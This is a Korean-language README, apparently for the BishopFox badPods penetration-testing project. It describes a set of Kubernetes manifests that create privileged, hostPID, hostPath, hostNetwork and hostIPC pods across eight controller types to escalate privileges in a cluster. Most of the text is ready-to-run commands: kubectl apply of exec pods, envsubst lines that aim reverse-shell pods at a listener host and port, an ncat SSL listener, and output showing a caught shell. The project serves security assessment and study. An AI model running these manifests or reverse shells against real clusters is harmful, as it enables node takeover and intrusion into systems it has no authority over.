
상승된 권한으로 파드를 생성하는 매니페스트 모음입니다.

서로 다른 높은 권한으로 파드를 생성하는 매니페스트 모음입니다. hostNetwork, hostPID, hostPath, hostIPC, privileged와 같은 보안에 민감한 파드 속성을 허용했을 때의 영향을 빠르게 시연할 수 있습니다.
추가 배경 정보는 블로그 게시물을 참조하세요: Bad Pods: Kubernetes Pod Privilege Escalation.
아래의 각 링크는 자세한 사용 정보와 사후 공격 권장 사항을 제공합니다.
사전 요구 사항, 저장소 구성, 일반적인 사용 패턴에 대한 자세한 내용은 아래 섹션을 참조하세요.
├── manifests
│ ├── everything-allowed
│ │ ├── cronjob
│ │ │ ├── everything-allowed-exec-cronjob.yaml
│ │ │ └── everything-allowed-revshell-cronjob.yaml
│ │ ├── daemonset
│ │ │ ├── everything-allowed-exec-daemonset.yaml
│ │ │ └── everything-allowed-revshell-daemonset.yaml
│ │ ├── deployment
│ │ │ ├── everything-allowed-exec-deployment.yaml
│ │ │ └── everything-allowed-revshell-deployment.yaml
│ │ ├── job
│ │ │ ├── everything-allowed-exec-job.yaml
│ │ │ └── everything-allowed-revshell-job.yaml
│ │ ├── pod
│ │ │ ├── everything-allowed-exec-pod.yaml
│ │ │ └── everything-allowed-revshell-pod.yaml
│ │ ├── replicaset
│ │ │ ├── everything-allowed-exec-replicaset.yaml
│ │ │ └── everything-allowed-revshell-replicaset.yaml
│ │ ├── replicationcontroller
│ │ │ ├── everything-allowed-exec-replicationcontroller.yaml
│ │ │ └── everything-allowed-revshell-replicationcontroller.yaml
│ │ └── statefulset
│ │ ├── everything-allowed-exec-statefulset.yaml
│ │ └── everything-allowed-revshell-statefulset.yaml
│ ├── hostipc
│ │ ├── cronjob
│ │ │ ├── hostipc-exec-cronjob.yaml
│ │ │ └── hostipc-revshell-cronjob.yaml
│ │ ├── daemonset
│ │ │ ├── hostipc-exec-daemonset.yaml
│ │ │ └── hostipc-revshell-daemonset.yaml
...omitted for brevity...
Eviatar Gerzi (@g3rzi) 님의 게시물 Eight Ways to Create a Pod에서 지적했듯이, 파드 또는 파드 집합을 생성할 수 있는 컨트롤러는 8가지가 있습니다. 파드를 생성할 권한은 없을 수 있지만, 하나 이상의 파드를 생성하는 다른 리소스 유형을 생성할 수 있을 수도 있습니다. 각 badPod 유형에는 8가지 리소스 유형에 모두 해당하는 매니페스트가 있습니다.
하지만 잠깐, 상황은 더 나빠집니다! 파드를 생성할 수 있는 8가지 기존 Kubernetes 컨트롤러 외에도, 클러스터에 적용되는 서드파티 컨트롤러도 파드를 생성할 수 있습니다. kubectl api-resources를 확인하여 주의 깊게 살펴보세요.
흔한 경우이지만, 생성한 파드에 exec할 수 있는 것이 항상 보장되지는 않습니다. 이러한 상황을 돕기 위해 Rory McCune(@raesene)의 ncat dockerhub 이미지를 사용하는 각 매니페스트 버전이 포함되어 있습니다. 생성된 파드는 리스너에게 암호화된 콜백을 보냅니다.
manifests 디렉터리의 각 리소스는 허용될 때 클러스터를 위험에 노출시키는 특정 속성 또는 속성 조합을 대상으로 합니다.
kubectl apply -f ./manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml
kubectl apply -f ./manifests/priv-and-hostpid/pod/priv-and-hostpid-exec-pod.yaml
kubectl apply -f ./manifests/priv/pod/priv-exec-pod.yaml
kubectl apply -f ./manifests/hostpath/pod/hostpath-exec-pod.yaml
kubectl apply -f ./manifests/hostpid/pod/hostpid-exec-pod.yaml
kubectl apply -f ./manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml
kubectl apply -f ./manifests/hostipc/pod/hostipc-exec-pod.yaml
kubectl apply -f ./manifests/nothing-allowed/pod/nothing-allowed-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/priv-and-hostpid/pod/priv-and-hostpid-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/priv/pod/priv-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostpath/pod/hostpath-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostpid/pod/hostpid-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostipc/pod/hostipc-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/nothing-allowed/pod/nothing-allowed-exec-pod.yaml
각 파드에 호스트와 포트를 직접 수정하지 않으려면 환경 변수와 envsubst 명령을 사용할 수 있습니다. 먼저 모든 리스너를 실행해 두는 것을 잊지 마세요!
HOST="10.0.0.1" PORT="3111" envsubst < ./manifests/everything-allowed/pod/everything-allowed-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3112" envsubst < ./manifests/priv-and-hostpid/pod/priv-and-hostpid-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3113" envsubst < ./manifests/priv/pod/priv-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3114" envsubst < ./manifests/hostpath/pod/hostpath-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3115" envsubst < ./manifests/hostpid/pod/hostpid-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3116" envsubst < ./manifests/hostnetwork/pod/hostnetwork-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3117" envsubst < ./manifests/hostipc/pod/hostipc-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3118" envsubst < ./manifests/nothing-allowed/pod/nothing-allowed-revshell-pod.yaml | kubectl apply -f -
kubectl apply -f manifests/hostnetwork/cronjob/hostnetwork-exec-cronjob.yaml
생성된 포드 찾기
kubectl get pods | grep cronjob
NAME READY STATUS RESTARTS AGE
hostnetwork-exec-cronjob-1607351160-gm2x4 1/1 Running 0 24s
포드에 exec 실행
kubectl exec -it hostnetwork-exec-cronjob-1607351160-gm2x4 -- bash
kubectl apply -f manifests/priv-and-hostpid/deployment/priv-and-hostpid-exec-deployment.yaml
생성된 포드 찾기
kubectl get pods | grep deployment
priv-and-hostpid-exec-deployment-65dbfbf947-qwpz9 1/1 Running 0 56s
priv-and-hostpid-exec-deployment-65dbfbf947-tghqh 1/1 Running 0 56s
포드에 exec 실행
kubectl exec -it priv-and-hostpid-exec-deployment-65dbfbf947-qwpz9 -- bash
find manifests/everything-allowed/ -name "*-exec-*.yaml" -exec kubectl apply -f {} \;
cronjob.batch/everything-allowed-exec-cronjob created
daemonset.apps/everything-allowed-exec-daemonset created
deployment.apps/everything-allowed-exec-deployment created
job.batch/everything-allowed-exec-job created
pod/everything-allowed-exec-pod created
replicaset.apps/everything-allowed-exec-replicaset created
replicationcontroller/everything-allowed-exec-replicationcontroller created
service/everything-allowed-exec-statefulset-service created
statefulset.apps/everything-allowed-exec-statefulset created
생성된 모든 포드 보기
kubectl get pods
NAME READY STATUS RESTARTS AGE
everything-allowed-exec-daemonset-qbrdb 1/1 Running 0 52s
everything-allowed-exec-deployment-6cd7685786-rp65h 1/1 Running 0 51s
everything-allowed-exec-deployment-6cd7685786-m66bl 1/1 Running 0 51s
everything-allowed-exec-job-fhsbt 1/1 Running 0 50s
everything-allowed-exec-pod 1/1 Running 0 50s
everything-allowed-exec-replicaset-tlp8v 1/1 Running 0 49s
everything-allowed-exec-replicaset-6znbz 1/1 Running 0 49s
everything-allowed-exec-replicationcontroller-z9k8n 1/1 Running 0 48s
everything-allowed-exec-replicationcontroller-m4648 1/1 Running 0 48s
everything-allowed-exec-statefulset-0 1/1 Running 0 47s
everything-allowed-exec-statefulset-1 1/1 Running 0 42s
모든 everything-allowed 리소스 삭제
find manifests/everything-allowed/ -name "*-exec-*.yaml" -exec kubectl delete -f {} \;
리스너 설정
ncat --ssl -vlp 3116
env 변수와 envsubst를 사용하여 로컬 yaml을 수정하지 않고 포드 생성
HOST="10.0.0.1" PORT="3116" envsubst < ./yaml/priv/pod-priv-revshell.yaml | kubectl apply -f -
셸 캐치
ncat --ssl -vlp 3116
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Generating a temporary 2048-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: Listening on :::3116
Ncat: Listening on 0.0.0.0:3116
Connection received on 10.0.0.162 42035
풀 리퀘스트와 이슈를 환영합니다.
Kubernetes 공격 보안에 대한 많은 지식을 공개적으로 공유해 주신 Rory McCune, Duffie Cooley, Brad Geesaman, Tabitha Sable, Ian Coldwater, Mark Manning, Eviatar Gerzi, Madhu Akula 님께 감사드립니다.
각 Bad Pod에는 자체적인 참고 자료 및 추가 읽을거리 섹션이 있지만, 여기에 Kubernetes 보안 평가 및 침투 테스트 기술을 향상시키는 데 도움이 되는 몇 가지 일반적인 리소스가 있습니다.